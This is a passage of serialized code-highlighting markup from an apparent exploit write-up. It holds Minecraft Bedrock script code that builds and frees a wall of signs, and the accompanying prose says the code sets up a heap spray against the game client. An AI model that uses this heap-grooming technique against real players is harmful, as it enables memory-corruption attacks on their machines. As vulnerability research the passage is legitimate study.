allocs\"",{"type":23,"tag":134,"props":149991,"children":149992},{"style":179},[149993],{"type":28,"value":1021},{"type":23,"tag":134,"props":149995,"children":149996},{"class":136,"line":814},[149997,150001,150005],{"type":23,"tag":134,"props":149998,"children":149999},{"style":189},[150000],{"type":28,"value":16461},{"type":23,"tag":134,"props":150002,"children":150003},{"style":151},[150004],{"type":28,"value":38836},{"type":23,"tag":134,"props":150006,"children":150007},{"style":179},[150008],{"type":28,"value":182},{"type":23,"tag":134,"props":150010,"children":150011},{"class":136,"line":827},[150012],{"type":23,"tag":134,"props":150013,"children":150014},{"style":179},[150015],{"type":28,"value":1098},{"type":23,"tag":134,"props":150017,"children":150018},{"class":136,"line":836},[150019],{"type":23,"tag":134,"props":150020,"children":150021},{"emptyLinePlaceholder":15},[150022],{"type":28,"value":865},{"type":23,"tag":134,"props":150024,"children":150025},{"class":136,"line":859},[150026],{"type":23,"tag":134,"props":150027,"children":150028},{"style":141},[150029],{"type":28,"value":150030},"// Free an allocated sign in the client\n",{"type":23,"tag":134,"props":150032,"children":150033},{"class":136,"line":868},[150034,150038,150043,150047,150051],{"type":23,"tag":134,"props":150035,"children":150036},{"style":151},[150037],{"type":28,"value":30872},{"type":23,"tag":134,"props":150039,"children":150040},{"style":264},[150041],{"type":28,"value":150042}," free",{"type":23,"tag":134,"props":150044,"children":150045},{"style":179},[150046],{"type":28,"value":272},{"type":23,"tag":134,"props":150048,"children":150049},{"style":162},[150050],{"type":28,"value":149792},{"type":23,"tag":134,"props":150052,"children":150053},{"style":179},[150054],{"type":28,"value":14272},{"type":23,"tag":134,"props":150056,"children":150057},{"class":136,"line":877},[150058,150062,150066,150070,150074,150078,150082,150086,150090,150094,150098,150102],{"type":23,"tag":134,"props":150059,"children":150060},{"style":189},[150061],{"type":28,"value":11746},{"type":23,"tag":134,"props":150063,"children":150064},{"style":179},[150065],{"type":28,"value":232},{"type":23,"tag":134,"props":150067,"children":150068},{"style":162},[150069],{"type":28,"value":149792},{"type":23,"tag":134,"props":150071,"children":150072},{"style":168},[150073],{"type":28,"value":454},{"type":23,"tag":134,"props":150075,"children":150076},{"style":151},[150077],{"type":28,"value":38836},{"type":23,"tag":134,"props":150079,"children":150080},{"style":168},[150081],{"type":28,"value":23187},{"type":23,"tag":134,"props":150083,"children":150084},{"style":162},[150085],{"type":28,"value":149763},{"type":23,"tag":134,"props":150087,"children":150088},{"style":179},[150089],{"type":28,"value":720},{"type":23,"tag":134,"props":150091,"children":150092},{"style":162},[150093],{"type":28,"value":149801},{"type":23,"tag":134,"props":150095,"children":150096},{"style":168},[150097],{"type":28,"value":454},{"type":23,"tag":134,"props":150099,"children":150100},{"style":151},[150101],{"type":28,"value":8519},{"type":23,"tag":134,"props":150103,"children":150104},{"style":179},[150105],{"type":28,"value":14272},{"type":23,"tag":134,"props":150107,"children":150108},{"class":136,"line":946},[150109,150113],{"type":23,"tag":134,"props":150110,"children":150111},{"style":189},[150112],{"type":28,"value":15214},{"type":23,"tag":134,"props":150114,"children":150115},{"style":179},[150116],{"type":28,"value":182},{"type":23,"tag":134,"props":150118,"children":150119},{"class":136,"line":954},[150120],{"type":23,"tag":134,"props":150121,"children":150122},{"style":179},[150123],{"type":28,"value":533},{"type":23,"tag":134,"props":150125,"children":150126},{"class":136,"line":984},[150127],{"type":23,"tag":134,"props":150128,"children":150129},{"emptyLinePlaceholder":15},[150130],{"type":28,"value":865},{"type":23,"tag":134,"props":150132,"children":150133},{"class":136,"line":992},[150134,150139,150143,150147,150151,150155,150159,150164],{"type":23,"tag":134,"props":150135,"children":150136},{"style":162},[150137],{"type":28,"value":150138},"    sign",{"type":23,"tag":134,"props":150140,"children":150141},{"style":179},[150142],{"type":28,"value":720},{"type":23,"tag":134,"props":150144,"children":150145},{"style":162},[150146],{"type":28,"value":149792},{"type":23,"tag":134,"props":150148,"children":150149},{"style":179},[150150],{"type":28,"value":720},{"type":23,"tag":134,"props":150152,"children":150153},{"style":264},[150154],{"type":28,"value":149872},{"type":23,"tag":134,"props":150156,"children":150157},{"style":179},[150158],{"type":28,"value":272},{"type":23,"tag":134,"props":150160,"children":150161},{"style":1461},[150162],{"type":28,"value":150163},"\"\"",{"type":23,"tag":134,"props":150165,"children":150166},{"style":179},[150167],{"type":28,"value":1021},{"type":23,"tag":134,"props":150169,"children":150170},{"class":136,"line":1024},[150171,150175,150179,150183,150187,150191],{"type":23,"tag":134,"props":150172,"children":150173},{"style":162},[150174],{"type":28,"value":150138},{"type":23,"tag":134,"props":150176,"children":150177},{"style":179},[150178],{"type":28,"value":720},{"type":23,"tag":134,"props":150180,"children":150181},{"style":162},[150182],{"type":28,"value":149801},{"type":23,"tag":134,"props":150184,"children":150185},{"style":168},[150186],{"type":28,"value":171},{"type":23,"tag":134,"props":150188,"children":150189},{"style":151},[150190],{"type":28,"value":8519},{"type":23,"tag":134,"props":150192,"children":150193},{"style":179},[150194],{"type":28,"value":182},{"type":23,"tag":134,"props":150196,"children":150197},{"class":136,"line":1032},[150198],{"type":23,"tag":134,"props":150199,"children":150200},{"emptyLinePlaceholder":15},[150201],{"type":28,"value":865},{"type":23,"tag":134,"props":150203,"children":150204},{"class":136,"line":1092},[150205,150209,150213,150218,150222,150227],{"type":23,"tag":134,"props":150206,"children":150207},{"style":162},[150208],{"type":28,"value":150138},{"type":23,"tag":134,"props":150210,"children":150211},{"style":179},[150212],{"type":28,"value":720},{"type":23,"tag":134,"props":150214,"children":150215},{"style":162},[150216],{"type":28,"value":150217},"block",{"type":23,"tag":134,"props":150219,"children":150220},{"style":179},[150221],{"type":28,"value":720},{"type":23,"tag":134,"props":150223,"children":150224},{"style":264},[150225],{"type":28,"value":150226},"setPermutation",{"type":23,"tag":134,"props":150228,"children":150229},{"style":179},[150230],{"type":28,"value":642},{"type":23,"tag":134,"props":150232,"children":150233},{"class":136,"line":8508},[150234,150239,150243,150248,150252,150257],{"type":23,"tag":134,"props":150235,"children":150236},{"style":162},[150237],{"type":28,"value":150238},"        BlockPermutation",{"type":23,"tag":134,"props":150240,"children":150241},{"style":179},[150242],{"type":28,"value":720},{"type":23,"tag":134,"props":150244,"children":150245},{"style":264},[150246],{"type":28,"value":150247},"resolve",{"type":23,"tag":134,"props":150249,"children":150250},{"style":179},[150251],{"type":28,"value":272},{"type":23,"tag":134,"props":150253,"children":150254},{"style":1461},[150255],{"type":28,"value":150256},"\"minecraft:air\"",{"type":23,"tag":134,"props":150258,"children":150259},{"style":179},[150260],{"type":28,"value":329},{"type":23,"tag":134,"props":150262,"children":150263},{"class":136,"line":8526},[150264],{"type":23,"tag":134,"props":150265,"children":150266},{"style":179},[150267],{"type":28,"value":43158},{"type":23,"tag":134,"props":150269,"children":150270},{"class":136,"line":8571},[150271,150275,150279,150283,150287,150291],{"type":23,"tag":134,"props":150272,"children":150273},{"style":162},[150274],{"type":28,"value":150138},{"type":23,"tag":134,"props":150276,"children":150277},{"style":179},[150278],{"type":28,"value":720},{"type":23,"tag":134,"props":150280,"children":150281},{"style":162},[150282],{"type":28,"value":132477},{"type":23,"tag":134,"props":150284,"children":150285},{"style":168},[150286],{"type":28,"value":171},{"type":23,"tag":134,"props":150288,"children":150289},{"style":151},[150290],{"type":28,"value":11936},{"type":23,"tag":134,"props":150292,"children":150293},{"style":179},[150294],{"type":28,"value":182},{"type":23,"tag":134,"props":150296,"children":150297},{"class":136,"line":8677},[150298],{"type":23,"tag":134,"props":150299,"children":150300},{"style":179},[150301],{"type":28,"value":1098},{"type":23,"tag":24,"props":150303,"children":150304},{},[150305,150307,150313],{"type":28,"value":150306},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":23,"tag":92,"props":150308,"children":150310},{"className":150309},[],[150311],{"type":28,"value":150312},"signs",{"type":28,"value":150314}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":23,"tag":87,"props":150316,"children":150318},{"code":150317,"language":35113,"meta":7,"className":35111,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[150319],{"type":23,"tag":92,"props":150320,"children":150321},{"__ignoreMap":7},[150322,150337,150344,150360,150377,150384,150446,150508,150515,150531,150539,150561,150587,150612,150632,150661,150673,150680,150688,150710,150744,150751,150771,150787,150803,150819,150831,150839,150846,150853,150860,150867,150883,150898,150905,150964,151023,151030,151045,151053,151081,151109,151117,151124,151143,151170,151177,151184,151199,151206,151213,151220,151227,151283,151295,151302,151309,151370,151382],{"type":23,"tag":134,"props":150323,"children":150324},{"class":136,"line":137},[150325,150329,150333],{"type":23,"tag":134,"props":150326,"children":150327},{"style":151},[150328],{"type":28,"value":11254},{"type":23,"tag":134,"props":150330,"children":150331},{"style":162},[150332],{"type":28,"value":149772},{"type":23,"tag":134,"props":150334,"children":150335},{"style":179},[150336],{"type":28,"value":182},{"type":23,"tag":134,"props":150338,"children":150339},{"class":136,"line":147},[150340],{"type":23,"tag":134,"props":150341,"children":150342},{"emptyLinePlaceholder":15},[150343],{"type":28,"value":865},{"type":23,"tag":134,"props":150345,"children":150346},{"class":136,"line":185},[150347,150351,150356],{"type":23,"tag":134,"props":150348,"children":150349},{"style":151},[150350],{"type":28,"value":30872},{"type":23,"tag":134,"props":150352,"children":150353},{"style":264},[150354],{"type":28,"value":150355}," create_wall",{"type":23,"tag":134,"props":150357,"children":150358},{"style":179},[150359],{"type":28,"value":15206},{"type":23,"tag":134,"props":150361,"children":150362},{"class":136,"line":221},[150363,150368,150372],{"type":23,"tag":134,"props":150364,"children":150365},{"style":162},[150366],{"type":28,"value":150367},"    signs",{"type":23,"tag":134,"props":150369,"children":150370},{"style":168},[150371],{"type":28,"value":171},{"type":23,"tag":134,"props":150373,"children":150374},{"style":179},[150375],{"type":28,"value":150376}," [];\n",{"type":23,"tag":134,"props":150378,"children":150379},{"class":136,"line":332},[150380],{"type":23,"tag":134,"props":150381,"children":150382},{"emptyLinePlaceholder":15},[150383],{"type":28,"value":865},{"type":23,"tag":134,"props":150385,"children":150386},{"class":136,"line":438},[150387,150391,150395,150399,150404,150408,150412,150416,150421,150425,150430,150434,150438,150442],{"type":23,"tag":134,"props":150388,"children":150389},{"style":189},[150390],{"type":28,"value":192},{"type":23,"tag":134,"props":150392,"children":150393},{"style":179},[150394],{"type":28,"value":232},{"type":23,"tag":134,"props":150396,"children":150397},{"style":151},[150398],{"type":28,"value":11254},{"type":23,"tag":134,"props":150400,"children":150401},{"style":162},[150402],{"type":28,"value":150403}," current_y",{"type":23,"tag":134,"props":150405,"children":150406},{"style":168},[150407],{"type":28,"value":171},{"type":23,"tag":134,"props":150409,"children":150410},{"style":205},[150411],{"type":28,"value":208},{"type":23,"tag":134,"props":150413,"children":150414},{"style":179},[150415],{"type":28,"value":16699},{"type":23,"tag":134,"props":150417,"children":150418},{"style":162},[150419],{"type":28,"value":150420},"current_y",{"type":23,"tag":134,"props":150422,"children":150423},{"style":168},[150424],{"type":28,"value":8179},{"type":23,"tag":134,"props":150426,"children":150427},{"style":162},[150428],{"type":28,"value":150429}," WALL_HEIGHT",{"type":23,"tag":134,"props":150431,"children":150432},{"style":179},[150433],{"type":28,"value":16699},{"type":23,"tag":134,"props":150435,"children":150436},{"style":162},[150437],{"type":28,"value":150420},{"type":23,"tag":134,"props":150439,"children":150440},{"style":168},[150441],{"type":28,"value":50775},{"type":23,"tag":134,"props":150443,"children":150444},{"style":179},[150445],{"type":28,"value":14272},{"type":23,"tag":134,"props":150447,"children":150448},{"class":136,"line":466},[150449,150453,150457,150461,150466,150470,150474,150478,150483,150487,150492,150496,150500,150504],{"type":23,"tag":134,"props":150450,"children":150451},{"style":189},[150452],{"type":28,"value":60084},{"type":23,"tag":134,"props":150454,"children":150455},{"style":179},[150456],{"type":28,"value":232},{"type":23,"tag":134,"props":150458,"children":150459},{"style":151},[150460],{"type":28,"value":11254},{"type":23,"tag":134,"props":150462,"children":150463},{"style":162},[150464],{"type":28,"value":150465}," current_x",{"type":23,"tag":134,"props":150467,"children":150468},{"style":168},[150469],{"type":28,"value":171},{"type":23,"tag":134,"props":150471,"children":150472},{"style":205},[150473],{"type":28,"value":208},{"type":23,"tag":134,"props":150475,"children":150476},{"style":179},[150477],{"type":28,"value":16699},{"type":23,"tag":134,"props":150479,"children":150480},{"style":162},[150481],{"type":28,"value":150482},"current_x",{"type":23,"tag":134,"props":150484,"children":150485},{"style":168},[150486],{"type":28,"value":8179},{"type":23,"tag":134,"props":150488,"children":150489},{"style":162},[150490],{"type":28,"value":150491}," WALL_WIDTH",{"type":23,"tag":134,"props":150493,"children":150494},{"style":179},[150495],{"type":28,"value":16699},{"type":23,"tag":134,"props":150497,"children":150498},{"style":162},[150499],{"type":28,"value":150482},{"type":23,"tag":134,"props":150501,"children":150502},{"style":168},[150503],{"type":28,"value":50775},{"type":23,"tag":134,"props":150505,"children":150506},{"style":179},[150507],{"type":28,"value":14272},{"type":23,"tag":134,"props":150509,"children":150510},{"class":136,"line":479},[150511],{"type":23,"tag":134,"props":150512,"children":150513},{"emptyLinePlaceholder":15},[150514],{"type":28,"value":865},{"type":23,"tag":134,"props":150516,"children":150517},{"class":136,"line":497},[150518,150523,150527],{"type":23,"tag":134,"props":150519,"children":150520},{"style":179},[150521],{"type":28,"value":150522},"            [",{"type":23,"tag":134,"props":150524,"children":150525},{"style":168},[150526],{"type":28,"value":9054},{"type":23,"tag":134,"props":150528,"children":150529},{"style":179},[150530],{"type":28,"value":11239},{"type":23,"tag":134,"props":150532,"children":150533},{"class":136,"line":518},[150534],{"type":23,"tag":134,"props":150535,"children":150536},{"style":179},[150537],{"type":28,"value":150538},"            \n",{"type":23,"tag":134,"props":150540,"children":150541},{"class":136,"line":527},[150542,150547,150552,150556],{"type":23,"tag":134,"props":150543,"children":150544},{"style":151},[150545],{"type":28,"value":150546},"            const",{"type":23,"tag":134,"props":150548,"children":150549},{"style":162},[150550],{"type":28,"value":150551}," sign_block",{"type":23,"tag":134,"props":150553,"children":150554},{"style":168},[150555],{"type":28,"value":171},{"type":23,"tag":134,"props":150557,"children":150558},{"style":162},[150559],{"type":28,"value":150560}," world\n",{"type":23,"tag":134,"props":150562,"children":150563},{"class":136,"line":780},[150564,150569,150574,150578,150583],{"type":23,"tag":134,"props":150565,"children":150566},{"style":179},[150567],{"type":28,"value":150568},"                .",{"type":23,"tag":134,"props":150570,"children":150571},{"style":264},[150572],{"type":28,"value":150573},"getDimension",{"type":23,"tag":134,"props":150575,"children":150576},{"style":179},[150577],{"type":28,"value":272},{"type":23,"tag":134,"props":150579,"children":150580},{"style":1461},[150581],{"type":28,"value":150582},"\"overworld\"",{"type":23,"tag":134,"props":150584,"children":150585},{"style":179},[150586],{"type":28,"value":329},{"type":23,"tag":134,"props":150588,"children":150589},{"class":136,"line":797},[150590,150594,150599,150603,150608],{"type":23,"tag":134,"props":150591,"children":150592},{"style":179},[150593],{"type":28,"value":150568},{"type":23,"tag":134,"props":150595,"children":150596},{"style":264},[150597],{"type":28,"value":150598},"getBlock",{"type":23,"tag":134,"props":150600,"children":150601},{"style":179},[150602],{"type":28,"value":272},{"type":23,"tag":134,"props":150604,"children":150605},{"style":162},[150606],{"type":28,"value":150607},"sign_location",{"type":23,"tag":134,"props":150609,"children":150610},{"style":179},[150611],{"type":28,"value":1021},{"type":23,"tag":134,"props":150613,"children":150614},{"class":136,"line":814},[150615,150620,150624,150628],{"type":23,"tag":134,"props":150616,"children":150617},{"style":162},[150618],{"type":28,"value":150619},"            sign_block",{"type":23,"tag":134,"props":150621,"children":150622},{"style":179},[150623],{"type":28,"value":720},{"type":23,"tag":134,"props":150625,"children":150626},{"style":264},[150627],{"type":28,"value":150226},{"type":23,"tag":134,"props":150629,"children":150630},{"style":179},[150631],{"type":28,"value":642},{"type":23,"tag":134,"props":150633,"children":150634},{"class":136,"line":827},[150635,150640,150644,150648,150652,150657],{"type":23,"tag":134,"props":150636,"children":150637},{"style":162},[150638],{"type":28,"value":150639},"                BlockPermutation",{"type":23,"tag":134,"props":150641,"children":150642},{"style":179},[150643],{"type":28,"value":720},{"type":23,"tag":134,"props":150645,"children":150646},{"style":264},[150647],{"type":28,"value":150247},{"type":23,"tag":134,"props":150649,"children":150650},{"style":179},[150651],{"type":28,"value":272},{"type":23,"tag":134,"props":150653,"children":150654},{"style":1461},[150655],{"type":28,"value":150656},"\"minecraft:wall_sign\"",{"type":23,"tag":134,"props":150658,"children":150659},{"style":179},[150660],{"type":28,"value":48387},{"type":23,"tag":134,"props":150662,"children":150663},{"class":136,"line":836},[150664,150669],{"type":23,"tag":134,"props":150665,"children":150666},{"style":162},[150667],{"type":28,"value":150668},"                    facing_direction:",{"type":23,"tag":134,"props":150670,"children":150671},{"style":205},[150672],{"type":28,"value":18803},{"type":23,"tag":134,"props":150674,"children":150675},{"class":136,"line":859},[150676],{"type":23,"tag":134,"props":150677,"children":150678},{"style":179},[150679],{"type":28,"value":70581},{"type":23,"tag":134,"props":150681,"children":150682},{"class":136,"line":868},[150683],{"type":23,"tag":134,"props":150684,"children":150685},{"style":179},[150686],{"type":28,"value":150687},"            ));\n",{"type":23,"tag":134,"props":150689,"children":150690},{"class":136,"line":877},[150691,150696,150701,150705],{"type":23,"tag":134,"props":150692,"children":150693},{"style":151},[150694],{"type":28,"value":150695},"            let",{"type":23,"tag":134,"props":150697,"children":150698},{"style":162},[150699],{"type":28,"value":150700}," sign_component",{"type":23,"tag":134,"props":150702,"children":150703},{"style":168},[150704],{"type":28,"value":171},{"type":23,"tag":134,"props":150706,"children":150707},{"style":162},[150708],{"type":28,"value":150709}," sign_block\n",{"type":23,"tag":134,"props":150711,"children":150712},{"class":136,"line":946},[150713,150717,150722,150726,150731,150735,150740],{"type":23,"tag":134,"props":150714,"children":150715},{"style":179},[150716],{"type":28,"value":150568},{"type":23,"tag":134,"props":150718,"children":150719},{"style":264},[150720],{"type":28,"value":150721},"getComponent",{"type":23,"tag":134,"props":150723,"children":150724},{"style":179},[150725],{"type":28,"value":272},{"type":23,"tag":134,"props":150727,"children":150728},{"style":162},[150729],{"type":28,"value":150730},"BlockComponentTypes",{"type":23,"tag":134,"props":150732,"children":150733},{"style":179},[150734],{"type":28,"value":720},{"type":23,"tag":134,"props":150736,"children":150737},{"style":162},[150738],{"type":28,"value":150739},"Sign",{"type":23,"tag":134,"props":150741,"children":150742},{"style":179},[150743],{"type":28,"value":1021},{"type":23,"tag":134,"props":150745,"children":150746},{"class":136,"line":954},[150747],{"type":23,"tag":134,"props":150748,"children":150749},{"emptyLinePlaceholder":15},[150750],{"type":28,"value":865},{"type":23,"tag":134,"props":150752,"children":150753},{"class":136,"line":984},[150754,150759,150763,150767],{"type":23,"tag":134,"props":150755,"children":150756},{"style":162},[150757],{"type":28,"value":150758},"            signs",{"type":23,"tag":134,"props":150760,"children":150761},{"style":179},[150762],{"type":28,"value":720},{"type":23,"tag":134,"props":150764,"children":150765},{"style":264},[150766],{"type":28,"value":1007},{"type":23,"tag":134,"props":150768,"children":150769},{"style":179},[150770],{"type":28,"value":14609},{"type":23,"tag":134,"props":150772,"children":150773},{"class":136,"line":992},[150774,150779,150783],{"type":23,"tag":134,"props":150775,"children":150776},{"style":162},[150777],{"type":28,"value":150778},"                sign:",{"type":23,"tag":134,"props":150780,"children":150781},{"style":162},[150782],{"type":28,"value":150700},{"type":23,"tag":134,"props":150784,"children":150785},{"style":179},[150786],{"type":28,"value":687},{"type":23,"tag":134,"props":150788,"children":150789},{"class":136,"line":1024},[150790,150795,150799],{"type":23,"tag":134,"props":150791,"children":150792},{"style":162},[150793],{"type":28,"value":150794},"                allocated:",{"type":23,"tag":134,"props":150796,"children":150797},{"style":151},[150798],{"type":28,"value":8519},{"type":23,"tag":134,"props":150800,"children":150801},{"style":179},[150802],{"type":28,"value":687},{"type":23,"tag":134,"props":150804,"children":150805},{"class":136,"line":1032},[150806,150811,150815],{"type":23,"tag":134,"props":150807,"children":150808},{"style":162},[150809],{"type":28,"value":150810},"                block:",{"type":23,"tag":134,"props":150812,"children":150813},{"style":162},[150814],{"type":28,"value":150551},{"type":23,"tag":134,"props":150816,"children":150817},{"style":179},[150818],{"type":28,"value":687},{"type":23,"tag":134,"props":150820,"children":150821},{"class":136,"line":1092},[150822,150827],{"type":23,"tag":134,"props":150823,"children":150824},{"style":162},[150825],{"type":28,"value":150826},"                removed:",{"type":23,"tag":134,"props":150828,"children":150829},{"style":151},[150830],{"type":28,"value":11778},{"type":23,"tag":134,"props":150832,"children":150833},{"class":136,"line":8508},[150834],{"type":23,"tag":134,"props":150835,"children":150836},{"style":179},[150837],{"type":28,"value":150838},"            });\n",{"type":23,"tag":134,"props":150840,"children":150841},{"class":136,"line":8526},[150842],{"type":23,"tag":134,"props":150843,"children":150844},{"style":179},[150845],{"type":28,"value":524},{"type":23,"tag":134,"props":150847,"children":150848},{"class":136,"line":8571},[150849],{"type":23,"tag":134,"props":150850,"children":150851},{"style":179},[150852],{"type":28,"value":533},{"type":23,"tag":134,"props":150854,"children":150855},{"class":136,"line":8677},[150856],{"type":23,"tag":134,"props":150857,"children":150858},{"style":179},[150859],{"type":28,"value":1098},{"type":23,"tag":134,"props":150861,"children":150862},{"class":136,"line":22988},[150863],{"type":23,"tag":134,"props":150864,"children":150865},{"emptyLinePlaceholder":15},[150866],{"type":28,"value":865},{"type":23,"tag":134,"props":150868,"children":150869},{"class":136,"line":23023},[150870,150874,150879],{"type":23,"tag":134,"props":150871,"children":150872},{"style":151},[150873],{"type":28,"value":30872},{"type":23,"tag":134,"props":150875,"children":150876},{"style":264},[150877],{"type":28,"value":150878}," remove_wall",{"type":23,"tag":134,"props":150880,"children":150881},{"style":179},[150882],{"type":28,"value":15206},{"type":23,"tag":134,"props":150884,"children":150885},{"class":136,"line":23031},[150886,150890,150894],{"type":23,"tag":134,"props":150887,"children":150888},{"style":162},[150889],{"type":28,"value":150367},{"type":23,"tag":134,"props":150891,"children":150892},{"style":168},[150893],{"type":28,"value":171},{"type":23,"tag":134,"props":150895,"children":150896},{"style":179},[150897],{"type":28,"value":150376},{"type":23,"tag":134,"props":150899,"children":150900},{"class":136,"line":23039},[150901],{"type":23,"tag":134,"props":150902,"children":150903},{"style":179},[150904],{"type":28,"value":61294},{"type":23,"tag":134,"props":150906,"children":150907},{"class":136,"line":23048},[150908,150912,150916,150920,150924,150928,150932,150936,150940,150944,150948,150952,150956,150960],{"type":23,"tag":134,"props":150909,"children":150910},{"style":189},[150911],{"type":28,"value":192},{"type":23,"tag":134,"props":150913,"children":150914},{"style":179},[150915],{"type":28,"value":232},{"type":23,"tag":134,"props":150917,"children":150918},{"style":151},[150919],{"type":28,"value":11254},{"type":23,"tag":134,"props":150921,"children":150922},{"style":162},[150923],{"type":28,"value":150403},{"type":23,"tag":134,"props":150925,"children":150926},{"style":168},[150927],{"type":28,"value":171},{"type":23,"tag":134,"props":150929,"children":150930},{"style":205},[150931],{"type":28,"value":208},{"type":23,"tag":134,"props":150933,"children":150934},{"style":179},[150935],{"type":28,"value":16699},{"type":23,"tag":134,"props":150937,"children":150938},{"style":162},[150939],{"type":28,"value":150420},{"type":23,"tag":134,"props":150941,"children":150942},{"style":168},[150943],{"type":28,"value":8179},{"type":23,"tag":134,"props":150945,"children":150946},{"style":162},[150947],{"type":28,"value":150429},{"type":23,"tag":134,"props":150949,"children":150950},{"style":179},[150951],{"type":28,"value":16699},{"type":23,"tag":134,"props":150953,"children":150954},{"style":162},[150955],{"type":28,"value":150420},{"type":23,"tag":134,"props":150957,"children":150958},{"style":168},[150959],{"type":28,"value":50775},{"type":23,"tag":134,"props":150961,"children":150962},{"style":179},[150963],{"type":28,"value":14272},{"type":23,"tag":134,"props":150965,"children":150966},{"class":136,"line":23090},[150967,150971,150975,150979,150983,150987,150991,150995,150999,151003,151007,151011,151015,151019],{"type":23,"tag":134,"props":150968,"children":150969},{"style":189},[150970],{"type":28,"value":60084},{"type":23,"tag":134,"props":150972,"children":150973},{"style":179},[150974],{"type":28,"value":232},{"type":23,"tag":134,"props":150976,"children":150977},{"style":151},[150978],{"type":28,"value":11254},{"type":23,"tag":134,"props":150980,"children":150981},{"style":162},[150982],{"type":28,"value":150465},{"type":23,"tag":134,"props":150984,"children":150985},{"style":168},[150986],{"type":28,"value":171},{"type":23,"tag":134,"props":150988,"children":150989},{"style":205},[150990],{"type":28,"value":208},{"type":23,"tag":134,"props":150992,"children":150993},{"style":179},[150994],{"type":28,"value":16699},{"type":23,"tag":134,"props":150996,"children":150997},{"style":162},[150998],{"type":28,"value":150482},{"type":23,"tag":134,"props":151000,"children":151001},{"style":168},[151002],{"type":28,"value":8179},{"type":23,"tag":134,"props":151004,"children":151005},{"style":162},[151006],{"type":28,"value":150491},{"type":23,"tag":134,"props":151008,"children":151009},{"style":179},[151010],{"type":28,"value":16699},{"type":23,"tag":134,"props":151012,"children":151013},{"style":162},[151014],{"type":28,"value":150482},{"type":23,"tag":134,"props":151016,"children":151017},{"style":168},[151018],{"type":28,"value":50775},{"type":23,"tag":134,"props":151020,"children":151021},{"style":179},[151022],{"type":28,"value":14272},{"type":23,"tag":134,"props":151024,"children":151025},{"class":136,"line":23123},[151026],{"type":23,"tag":134,"props":151027,"children":151028},{"style":179},[151029],{"type":28,"value":150538},{"type":23,"tag":134,"props":151031,"children":151032},{"class":136,"line":23131},[151033,151037,151041],{"type":23,"tag":134,"props":151034,"children":151035},{"style":179},[151036],{"type":28,"value":150522},{"type":23,"tag":134,"props":151038,"children":151039},{"style":168},[151040],{"type":28,"value":9054},{"type":23,"tag":134,"props":151042,"children":151043},{"style":179},[151044],{"type":28,"value":11239},{"type":23,"tag":134,"props":151046,"children":151047},{"class":136,"line":23139},[151048],{"type":23,"tag":134,"props":151049,"children":151050},{"style":179},[151051],{"type":28,"value":151052},"             \n",{"type":23,"tag":134,"props":151054,"children":151055},{"class":136,"line":23148},[151056,151060,151064,151068,151072,151077],{"type":23,"tag":134,"props":151057,"children":151058},{"style":151},[151059],{"type":28,"value":150546},{"type":23,"tag":134,"props":151061,"children":151062},{"style":162},[151063],{"type":28,"value":150551},{"type":23,"tag":134,"props":151065,"children":151066},{"style":168},[151067],{"type":28,"value":171},{"type":23,"tag":134,"props":151069,"children":151070},{"style":189},[151071],{"type":28,"value":35709},{"type":23,"tag":134,"props":151073,"children":151074},{"style":264},[151075],{"type":28,"value":151076}," wait_for_block",{"type":23,"tag":134,"props":151078,"children":151079},{"style":179},[151080],{"type":28,"value":642},{"type":23,"tag":134,"props":151082,"children":151083},{"class":136,"line":23224},[151084,151089,151093,151097,151101,151105],{"type":23,"tag":134,"props":151085,"children":151086},{"style":162},[151087],{"type":28,"value":151088},"                world",{"type":23,"tag":134,"props":151090,"children":151091},{"style":179},[151092],{"type":28,"value":720},{"type":23,"tag":134,"props":151094,"children":151095},{"style":264},[151096],{"type":28,"value":150573},{"type":23,"tag":134,"props":151098,"children":151099},{"style":179},[151100],{"type":28,"value":272},{"type":23,"tag":134,"props":151102,"children":151103},{"style":1461},[151104],{"type":28,"value":150582},{"type":23,"tag":134,"props":151106,"children":151107},{"style":179},[151108],{"type":28,"value":6194},{"type":23,"tag":134,"props":151110,"children":151111},{"class":136,"line":23257},[151112],{"type":23,"tag":134,"props":151113,"children":151114},{"style":162},[151115],{"type":28,"value":151116},"                sign_location\n",{"type":23,"tag":134,"props":151118,"children":151119},{"class":136,"line":23265},[151120],{"type":23,"tag":134,"props":151121,"children":151122},{"style":179},[151123],{"type":28,"value":124626},{"type":23,"tag":134,"props":151125,"children":151126},{"class":136,"line":23273},[151127,151131,151135,151139],{"type":23,"tag":134,"props":151128,"children":151129},{"style":162},[151130],{"type":28,"value":150619},{"type":23,"tag":134,"props":151132,"children":151133},{"style":179},[151134],{"type":28,"value":720},{"type":23,"tag":134,"props":151136,"children":151137},{"style":264},[151138],{"type":28,"value":150226},{"type":23,"tag":134,"props":151140,"children":151141},{"style":179},[151142],{"type":28,"value":642},{"type":23,"tag":134,"props":151144,"children":151145},{"class":136,"line":23310},[151146,151150,151154,151158,151162,151166],{"type":23,"tag":134,"props":151147,"children":151148},{"style":162},[151149],{"type":28,"value":150639},{"type":23,"tag":134,"props":151151,"children":151152},{"style":179},[151153],{"type":28,"value":720},{"type":23,"tag":134,"props":151155,"children":151156},{"style":264},[151157],{"type":28,"value":150247},{"type":23,"tag":134,"props":151159,"children":151160},{"style":179},[151161],{"type":28,"value":272},{"type":23,"tag":134,"props":151163,"children":151164},{"style":1461},[151165],{"type":28,"value":150256},{"type":23,"tag":134,"props":151167,"children":151168},{"style":179},[151169],{"type":28,"value":329}